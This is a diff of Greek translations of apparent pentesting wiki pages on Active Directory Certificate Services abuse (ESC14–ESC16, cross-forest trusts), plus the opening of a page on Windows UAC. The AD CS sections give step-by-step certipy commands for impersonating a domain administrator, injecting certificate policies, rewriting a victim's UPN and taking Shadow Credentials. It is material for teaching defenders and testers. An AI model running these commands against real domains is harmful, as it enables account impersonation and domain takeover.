Η ασφάλεια αυτών των mappings εξαρτάται σε μεγάλο βαθμό από τη συγκεκριμενοποίηση, μοναδικότητα και κρυπτογραφική ισχύ των επιλεγμένων αναγνωριστικών πιστοποιητικών που χρησιμοποιούνται στη συμβολοσειρά mapping. Ακόμα και με ενεργοποιημένα τα strong certificate binding modes στους Domain Controllers (που επηρεάζουν κυρίως implicit mappings βάσει SAN UPNs/DNS και της SID extension), μια κακώς διαμορφωμένη `altSecurityIdentities` εγγραφή μπορεί να παραμείνει άμεση οδός για impersonation αν η ίδια η λογική mapping είναι ελαττωματική ή υπερβολικά επιεικής.
|
||||
|
||||
### Σενάριο Κατάχρησης
|
||||
|
||||
Το ESC14 στοχεύει τις **explicit certificate mappings** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το attribute είναι ρυθμισμένο (επί τούτου ή από λάθος διαμόρφωση), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την αντιστοίχιση.
|
||||
Το ESC14 στοχεύει τις **explicit certificate mappings** στο Active Directory (AD), συγκεκριμένα το χαρακτηριστικό `altSecurityIdentities`. Εάν αυτό το χαρακτηριστικό είναι ρυθμισμένο (εξ αμελείας ή κακόβουλα), οι επιτιθέμενοι μπορούν να προσποιηθούν λογαριασμούς παρουσιάζοντας πιστοποιητικά που ταιριάζουν με την mapping.
|
||||
|
||||
#### Σενάριο A: Ο επιτιθέμενος μπορεί να γράψει στο `altSecurityIdentities`
|
||||
|
||||
**Προϋπόθεση**: Ο επιτιθέμενος έχει δικαιώματα εγγραφής στο `altSecurityIdentities` attribute του στοχευόμενου λογαριασμού ή το δικαίωμα να το παραχωρήσει με τη μορφή ενός από τα ακόλουθα permissions στο αντικείμενο AD στόχο:
|
||||
**Προϋπόθεση**: Ο επιτιθέμενος έχει δικαιώματα εγγραφής στο `altSecurityIdentities` του στοχευόμενου account ή το δικαίωμα να το χορηγήσει με τη μορφή ενός από τα ακόλουθα δικαιώματα στο στοχευόμενο AD αντικείμενο:
|
||||
- Write property `altSecurityIdentities`
|
||||
- Write property `Public-Information`
|
||||
- Write property (all)
|
||||
@ -730,19 +724,19 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
|
||||
- `GenericAll`
|
||||
- Owner*.
|
||||
|
||||
#### Σενάριο B: Ο στόχος έχει αδύναμη αντιστοίχιση μέσω X509RFC822 (Email)
|
||||
#### Σενάριο B: Ο στόχος έχει αδύναμη mapping μέσω X509RFC822 (Email)
|
||||
|
||||
- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509RFC822 mapping στο altSecurityIdentities. Ένας επιτιθέμενος μπορεί να ορίσει το attribute mail του θύματος ώστε να ταιριάξει με το X509RFC822 όνομα του στόχου, να εγγράψει ένα πιστοποιητικό ως το θύμα, και να το χρησιμοποιήσει για να πιστοποιηθεί ως ο στόχος.
|
||||
- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509RFC822 mapping στο altSecurityIdentities. Ένας επιτιθέμενος μπορεί να θέσει το mail attribute του θύματος ώστε να ταιριάξει με το X509RFC822 όνομα του στόχου, να εγγραφεί (enroll) ένα πιστοποιητικό ως το θύμα, και να το χρησιμοποιήσει για authentication ως ο στόχος.
|
||||
|
||||
#### Σενάριο C: Ο στόχος έχει X509IssuerSubject mapping
|
||||
#### Σενάριο C: Ο στόχος έχει X509IssuerSubject Mapping
|
||||
|
||||
- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509IssuerSubject explicit mapping στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ορίσει το `cn` ή το `dNSHostName` attribute σε ένα principal θύμα ώστε να ταιριάξει με το subject της X509IssuerSubject mapping του στόχου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγράψει ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να πιστοποιηθεί ως ο στόχος.
|
||||
- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509IssuerSubject explicit mapping στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να θέσει το `cn` ή το `dNSHostName` attribute σε έναν victim principal ώστε να ταιριάξει με το subject της X509IssuerSubject mapping του στόχου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί (enroll) ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για authentication ως ο στόχος.
|
||||
|
||||
#### Σενάριο D: Ο στόχος έχει X509SubjectOnly mapping
|
||||
#### Σενάριο D: Ο στόχος έχει X509SubjectOnly Mapping
|
||||
|
||||
- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509SubjectOnly explicit mapping στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να ορίσει το `cn` ή το `dNSHostName` attribute σε ένα principal θύμα ώστε να ταιριάξει με το subject της X509SubjectOnly mapping του στόχου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγράψει ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για να πιστοποιηθεί ως ο στόχος.
|
||||
- **Προϋπόθεση**: Ο στόχος έχει μια αδύναμη X509SubjectOnly explicit mapping στο `altSecurityIdentities`. Ο επιτιθέμενος μπορεί να θέσει το `cn` ή το `dNSHostName` attribute σε έναν victim principal ώστε να ταιριάξει με το subject της X509SubjectOnly mapping του στόχου. Στη συνέχεια, ο επιτιθέμενος μπορεί να εγγραφεί (enroll) ένα πιστοποιητικό ως το θύμα και να χρησιμοποιήσει αυτό το πιστοποιητικό για authentication ως ο στόχος.
|
||||
|
||||
### Συγκεκριμένες ενέργειες
|
||||
### συγκεκριμένες ενέργειες
|
||||
#### Σενάριο A
|
||||
|
||||
Request a certificate of the certificate template `Machine`
|
||||
@ -761,27 +755,27 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx
|
||||
```bash
|
||||
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
|
||||
```
|
||||
Για πιο συγκεκριμένες μεθόδους επίθεσης σε διάφορα σενάρια επίθεσης, παρακαλώ ανατρέξτε στα παρακάτω: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
Για πιο συγκεκριμένες μεθόδους επίθεσης σε διάφορα σενάρια, ανατρέξτε στα εξής: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
|
||||
## EKUwu Πολιτικές Εφαρμογής(CVE-2024-49019) - ESC15
|
||||
## EKUwu Application Policies(CVE-2024-49019) - ESC15
|
||||
|
||||
### Επεξήγηση
|
||||
|
||||
Η περιγραφή στο https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc είναι εξαιρετικά λεπτομερής. Παρακάτω ακολουθεί απόσπασμα από το αρχικό κείμενο.
|
||||
Η περιγραφή στο https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc είναι εξαιρετικά λεπτομερής. Παρακάτω παρατίθεται απόσπασμα από το αρχικό κείμενο.
|
||||
|
||||
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
|
||||
> Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
|
||||
|
||||
### Κατάχρηση
|
||||
|
||||
The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
|
||||
Τα παρακάτω αναφέρονται σε [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
|
||||
|
||||
Η εντολή Certipy's `find` μπορεί να βοηθήσει στον εντοπισμό προτύπων V1 που ενδέχεται να είναι ευάλωτα στο ESC15 εάν ο CA δεν έχει επιδιορθωθεί.
|
||||
Η εντολή `find` του Certipy μπορεί να βοηθήσει στον εντοπισμό V1 templates που ενδέχεται να είναι επιρρεπείς στο ESC15 εάν ο CA δεν έχει επιδιορθωθεί.
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### Σενάριο A: Άμεση απομίμηση μέσω Schannel
|
||||
#### Σενάριο A: Άμεση Προσποίηση μέσω Schannel
|
||||
|
||||
**Βήμα 1: Ζητήστε ένα πιστοποιητικό, εισάγοντας την "Client Authentication" Application Policy και το στοχευόμενο UPN.** Ο Attacker `attacker@corp.local` στοχεύει τον `administrator@corp.local` χρησιμοποιώντας το πρότυπο "WebServer" V1 (το οποίο επιτρέπει enrollee-supplied subject).
|
||||
**Βήμα 1: Ζητήστε ένα πιστοποιητικό, εισάγοντας την "Client Authentication" Application Policy και το UPN του στόχου.** Ο επιτιθέμενος `attacker@corp.local` στοχεύει τον `administrator@corp.local` χρησιμοποιώντας το template "WebServer" V1 (το οποίο επιτρέπει subject που παρέχεται από τον enrollee).
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -790,17 +784,17 @@ certipy req \
|
||||
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
|
||||
-application-policies 'Client Authentication'
|
||||
```
|
||||
- `-template 'WebServer'`: Το ευάλωτο πρότυπο V1 με "Enrollee supplies subject".
|
||||
- `-application-policies 'Client Authentication'`: Εισάγει το OID `1.3.6.1.5.5.7.3.2` στην επέκταση Application Policies του CSR.
|
||||
- `-upn 'administrator@corp.local'`: Θέτει το UPN στο SAN για υπόδυση ταυτότητας.
|
||||
- `-template 'WebServer'`: Το ευάλωτο V1 template με "Enrollee supplies subject".
|
||||
- `-application-policies 'Client Authentication'`: Ενέχει το OID `1.3.6.1.5.5.7.3.2` στην επέκταση Application Policies του CSR.
|
||||
- `-upn 'administrator@corp.local'`: Ορίζει το UPN στο SAN για impersonation.
|
||||
|
||||
**Βήμα 2: Πιστοποίηση μέσω Schannel (LDAPS) χρησιμοποιώντας το αποκτηθέν πιστοποιητικό.**
|
||||
**Βήμα 2: Πιστοποιηθείτε μέσω Schannel (LDAPS) χρησιμοποιώντας το αποκτηθέν πιστοποιητικό.**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Σενάριο B: PKINIT/Kerberos Impersonation μέσω κατάχρησης Enrollment Agent
|
||||
#### Σενάριο B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**Βήμα 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Αυτό το πιστοποιητικό προορίζεται για τον attacker (`attacker@corp.local`) ώστε να γίνει enrollment agent. Δεν καθορίζεται UPN για την ταυτότητα του attacker εδώ, καθώς ο στόχος είναι η ικανότητα ως enrollment agent.
|
||||
**Βήμα 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Αυτό το πιστοποιητικό προορίζεται για τον attacker (`attacker@corp.local`) ώστε να γίνει enrollment agent. Δεν καθορίζεται UPN για την ταυτότητα του attacker εδώ, καθώς ο στόχος είναι η ικανότητα του agent.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -808,9 +802,9 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'WebServer' \
|
||||
-application-policies 'Certificate Request Agent'
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: Εισάγει OID `1.3.6.1.4.1.311.20.2.1`.
|
||||
- `-application-policies 'Certificate Request Agent'`: Εισάγει το OID `1.3.6.1.4.1.311.20.2.1`.
|
||||
|
||||
**Βήμα 2: Χρησιμοποιήστε το πιστοποιητικό "agent" για να ζητήσετε ένα πιστοποιητικό εκ μέρους ενός στοχευόμενου προνομιακού χρήστη.** Πρόκειται για ένα βήμα τύπου ESC3, χρησιμοποιώντας το πιστοποιητικό από το Βήμα 1 ως το πιστοποιητικό "agent".
|
||||
**Βήμα 2: Χρησιμοποιήστε το πιστοποιητικό "agent" για να ζητήσετε ένα πιστοποιητικό εκ μέρους ενός στοχευμένου χρήστη με προνόμια.** Πρόκειται για ένα βήμα τύπου ESC3, χρησιμοποιώντας το πιστοποιητικό από το Βήμα 1 ως το πιστοποιητικό "agent".
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -818,52 +812,52 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'User' \
|
||||
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
|
||||
```
|
||||
**Βήμα 3: Πιστοποιηθείτε ως χρήστης με προνόμια χρησιμοποιώντας το πιστοποιητικό "on-behalf-of".**
|
||||
**Βήμα 3: Αυθεντικοποιηθείτε ως ο προνομιούχος χρήστης χρησιμοποιώντας το πιστοποιητικό "on-behalf-of".**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
```
|
||||
## Security Extension Disabled on CA (Globally)-ESC16
|
||||
## Απενεργοποιημένη Επέκταση Ασφαλείας στον CA (Παγκοσμίως)-ESC16
|
||||
|
||||
### Εξήγηση
|
||||
### Επεξήγηση
|
||||
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** αναφέρεται στο σενάριο όπου, εάν η διαμόρφωση του AD CS δεν επιβάλλει την συμπερίληψη της επέκτασης **szOID_NTDS_CA_SECURITY_EXT** σε όλα τα πιστοποιητικά, ένας επιτιθέμενος μπορεί να το εκμεταλλευτεί με:
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** αναφέρεται στο σενάριο όπου, εάν η διαμόρφωση του AD CS δεν επιβάλλει την ένταξη της **szOID_NTDS_CA_SECURITY_EXT** επέκτασης σε όλα τα πιστοποιητικά, ένας επιτιθέμενος μπορεί να το εκμεταλλευτεί ως εξής:
|
||||
|
||||
1. Κάνοντας αίτηση για πιστοποιητικό **χωρίς SID binding**.
|
||||
1. Ζητώντας ένα πιστοποιητικό **without SID binding**.
|
||||
|
||||
2. Χρησιμοποιώντας αυτό το πιστοποιητικό **για αυθεντικοποίηση ως οποιοσδήποτε λογαριασμός**, όπως προσποιούμενος έναν λογαριασμό με υψηλά προνόμια (π.χ., Domain Administrator).
|
||||
2. Χρησιμοποιώντας αυτό το πιστοποιητικό **for authentication as any account**, π.χ. προσποιούμενος έναν λογαριασμό υψηλών προνομίων (π.χ., Domain Administrator).
|
||||
|
||||
Μπορείτε επίσης να ανατρέξετε σε αυτό το άρθρο για να μάθετε περισσότερα για την λεπτομερή αρχή:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
|
||||
### Κατάχρηση
|
||||
|
||||
Το ακόλουθο αναφέρεται στο [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Click to see more detailed usage methods.
|
||||
Το ακόλουθο αναφέρεται σε [αυτόν τον σύνδεσμο](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Κάντε κλικ για να δείτε πιο λεπτομερείς μεθόδους χρήσης.
|
||||
|
||||
Για να προσδιορίσετε εάν το περιβάλλον Active Directory Certificate Services (AD CS) είναι ευάλωτο στο **ESC16**
|
||||
Για να προσδιορίσετε εάν το περιβάλλον Active Directory Certificate Services (AD CS) είναι ευάλωτο σε **ESC16**
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
**Βήμα 1: Διαβάστε το αρχικό UPN του λογαριασμού του θύματος (Προαιρετικό - για επαναφορά).**
|
||||
**Βήμα 1: Ανάγνωση του αρχικού UPN του λογαριασμού θύματος (Προαιρετικό - για επαναφορά).
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -user 'victim' \
|
||||
read
|
||||
```
|
||||
**Βήμα 2: Ενημερώστε το UPN του λογαριασμού θύματος στο `sAMAccountName` του διαχειριστή-στόχου.**
|
||||
**Βήμα 2: Ενημερώστε το UPN του λογαριασμού του θύματος στο `sAMAccountName` του στοχευόμενου διαχειριστή.**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Βήμα 3: (Εάν χρειάζεται) Αποκτήστε credentials για τον λογαριασμό "victim" (π.χ., μέσω Shadow Credentials).**
|
||||
**Βήμα 3: (εάν χρειάζεται) Αποκτήστε διαπιστευτήρια για τον "victim" λογαριασμό (π.χ., μέσω Shadow Credentials).**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**Βήμα 4: Ζητήστε ένα πιστοποιητικό ως ο χρήστης "victim" από _οποιοδήποτε κατάλληλο client authentication template_ (π.χ., "User") στον ESC16-ευάλωτο CA.** Επειδή ο CA είναι ευάλωτος στο ESC16, θα παραλείψει αυτόματα την επέκταση ασφαλείας SID από το εκδοθέν πιστοποιητικό, ανεξάρτητα από τις ειδικές ρυθμίσεις του προτύπου για αυτήν την επέκταση. Ορίστε την περιβάλλουσα μεταβλητή cache διαπιστευτηρίων Kerberos (εντολή shell):
|
||||
**Βήμα 4: Ζητήστε ένα πιστοποιητικό ως ο χρήστης "victim" από _οποιοδήποτε κατάλληλο client authentication template_ (π.χ. "User") στην CA που είναι ευάλωτη στο ESC16.** Επειδή η CA είναι ευάλωτη στο ESC16, θα παραλείψει αυτόματα την επέκταση ασφαλείας SID από το εκδοθέν πιστοποιητικό, ανεξάρτητα από τις συγκεκριμένες ρυθμίσεις του προτύπου για αυτήν την επέκταση. Ορίστε τη μεταβλητή περιβάλλοντος Kerberos credential cache (εντολή shell):
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
@ -881,7 +875,7 @@ certipy account \
|
||||
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Βήμα 6: Αυθεντικοποιηθείτε ως διαχειριστής-στόχος.**
|
||||
**Βήμα 6: Αυθεντικοποίηση ως ο διαχειριστής-στόχος.**
|
||||
```bash
|
||||
certipy auth \
|
||||
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
|
||||
@ -889,16 +883,16 @@ certipy auth \
|
||||
```
|
||||
## Συμβιβασμός Forests με Πιστοποιητικά — Εξηγημένο σε Παθητική Φωνή
|
||||
|
||||
### Διάρρηξη των Forest Trusts από συμβιβασμένες CA
|
||||
### Σπάσιμο των Forest Trusts από συμβιβασμένες CA
|
||||
|
||||
Η ρύθμιση για το **cross-forest enrollment** γίνεται σχετικά απλή. Το **root CA certificate** από το resource forest **δημοσιεύεται στα account forests** από τους διαχειριστές, και τα **enterprise CA** certificates από το resource forest **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε account forest**. Για να διευκρινιστεί, αυτή η διάταξη παρέχει στο **CA στο resource forest πλήρη έλεγχο** πάνω σε όλα τα άλλα forests για τα οποία διαχειρίζεται το PKI. Εάν αυτό το CA **συμβιβαστεί από attackers**, πιστοποιητικά για όλους τους χρήστες τόσο στο resource όσο και στα account forests θα μπορούσαν να **πλαστογραφηθούν από αυτούς**, θραύοντας έτσι τα όρια ασφαλείας του forest.
|
||||
Η διαμόρφωση για **cross-forest enrollment** γίνεται σχετικά απλή. Το **root CA certificate** από το resource forest **δημοσιεύεται στα account forests** από τους διαχειριστές, και τα πιστοποιητικά της **enterprise CA** από το resource forest **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε account forest**. Για να διευκρινιστεί, αυτή η ρύθμιση παραχωρεί στην **CA στο resource forest πλήρη έλεγχο** επί όλων των άλλων forests για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, πιστοποιητικά για όλους τους χρήστες τόσο στο resource όσο και στα account forests θα μπορούσαν να **πλαστογραφηθούν από αυτούς**, παραβιάζοντας έτσι τα όρια ασφάλειας του forest.
|
||||
|
||||
### Enrollment Privileges Granted to Foreign Principals
|
||||
### Δικαιώματα Enrollment που Χορηγούνται σε foreign principals
|
||||
|
||||
Σε περιβάλλοντα με πολλά forest απαιτείται προσοχή σχετικά με Enterprise CAs που **δημοσιεύουν certificate templates** τα οποία επιτρέπουν σε **Authenticated Users ή foreign principals** (χρήστες/ομάδες εκτός του forest στο οποίο ανήκει το Enterprise CA) **δικαιώματα enrollment και edit**.
|
||||
Μετά την authentication μέσω ενός trust, το **Authenticated Users SID** προστίθεται στο token του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει ένα Enterprise CA με template που **επιτρέπει Authenticated Users δικαιώματα enrollment**, ένα template ενδέχεται να **εγγραφεί από έναν χρήστη από διαφορετικό forest**. Ομοίως, εάν **τα enrollment rights χορηγηθούν ρητά σε ένα foreign principal από ένα template**, δημιουργείται έτσι μια **cross-forest access-control relationship**, επιτρέποντας σε ένα principal από ένα forest να **εγγραφεί σε ένα template από άλλο forest**.
|
||||
Σε multi-forest περιβάλλοντα απαιτείται προσοχή σε Enterprise CAs που **publish certificate templates** τα οποία επιτρέπουν σε **Authenticated Users ή foreign principals** (χρήστες/ομάδες εξωτερικές στο forest στο οποίο ανήκει η Enterprise CA) δικαιώματα **enrollment και edit**.\
|
||||
Κατά την authentication μέσω trust, το **Authenticated Users SID** προστίθεται στο token του χρήστη από το AD. Επομένως, αν ένα domain διαθέτει μια Enterprise CA με ένα template που **allows Authenticated Users enrollment rights**, ένα template θα μπορούσε ενδεχομένως να **εγγραφεί (enrolled) από χρήστη από διαφορετικό forest**. Ομοίως, εάν τα **enrollment rights** χορηγηθούν ρητώς σε ένα foreign principal από ένα template, δημιουργείται έτσι μια **cross-forest access-control relationship**, επιτρέποντας σε έναν principal από ένα forest να **enroll σε template από άλλο forest**.
|
||||
|
||||
Και τα δύο σενάρια οδηγούν σε μια **αύξηση του attack surface** από ένα forest σε άλλο. Οι ρυθμίσεις του certificate template θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε ένα foreign domain.
|
||||
Και τα δύο σενάρια οδηγούν σε **αύξηση της attack surface** από το ένα forest στο άλλο. Οι ρυθμίσεις του certificate template θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε ένα foreign domain.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
@ -4,76 +4,76 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια λειτουργία που ενεργοποιεί ένα **πρότυπο συναίνεσης για ανυψωμένες ενέργειες**. Οι εφαρμογές έχουν διαφορετικά `integrity` επίπεδα, και ένα πρόγραμμα με **υψηλό επίπεδο** μπορεί να εκτελεί εργασίες που **θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο το σύστημα**. Όταν το UAC είναι ενεργοποιημένο, οι εφαρμογές και οι εργασίες πάντα **εκτελούνται στο πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή** εκτός αν ένας διαχειριστής εξουσιοδοτήσει ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή για να εκτελεστούν. Είναι μια λειτουργία άνεσης που προστατεύει τους διαχειριστές από ανεπιθύμητες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που ενεργοποιεί μια **πρόσκληση συγκατάθεσης για ενέργειες με ανυψωμένα προνόμια**. Οι εφαρμογές έχουν διαφορετικά `integrity` επίπεδα, και ένα πρόγραμμα με **υψηλό επίπεδο** μπορεί να εκτελέσει εργασίες που **θα μπορούσαν ενδεχομένως να υπονομεύσουν το σύστημα**. Όταν το UAC είναι ενεργοποιημένο, οι εφαρμογές και οι εργασίες εκτελούνται πάντα **υπό το πλαίσιο ασφαλείας ενός λογαριασμού μη-διαχειριστή** εκτός εάν ένας διαχειριστής ρητά εξουσιοδοτήσει αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή στο σύστημα για εκτέλεση. Είναι μια λειτουργία άνεσης που προστατεύει τους διαχειριστές από ακούσιες αλλαγές αλλά δεν θεωρείται όριο ασφάλειας.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τα integrity επίπεδα:
|
||||
Για περισσότερες πληροφορίες σχετικά με τα integrity levels:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Όταν το UAC είναι ενεργό, σε έναν χρήστη διαχειριστή δίνονται 2 tokens: ένα κλειδί τυπικού χρήστη, για να εκτελεί τις κανονικές ενέργειες σε κανονικό επίπεδο, και ένα με τα προνόμια του διαχειριστή.
|
||||
Όταν το UAC είναι ενεργό, ένας χρήστης με δικαιώματα διαχειριστή λαμβάνει 2 tokens: ένα κλειδί τυπικού χρήστη, για την εκτέλεση κανονικών ενεργειών σε κανονικό επίπεδο, και ένα με τα προνόμια διαχειριστή.
|
||||
|
||||
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) συζητά διεξοδικά πώς λειτουργεί το UAC και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC ειδικά για τον οργανισμό τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να το ρυθμίσουν και να το αναπτύξουν μέσω Group Policy Objects (GPO) σε περιβάλλον Active Directory. Οι διάφορες ρυθμίσεις συζητώνται με λεπτομέρεια [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Group Policy που μπορούν να οριστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:
|
||||
Αυτή η [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) αναλύει λεπτομερώς πώς λειτουργεί το UAC και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC ειδικά για τον οργανισμό τους τοπικά (χρησιμοποιώντας secpol.msc), ή να το ρυθμίσουν και να το διανείμουν μέσω Group Policy Objects (GPO) σε περιβάλλον Active Directory domain. Οι διάφορες ρυθμίσεις περιγράφονται λεπτομερώς [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Υπάρχουν 10 ρυθμίσεις Group Policy που μπορούν να οριστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:
|
||||
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Απενεργοποιημένο |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Απενεργοποιημένο |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
|
||||
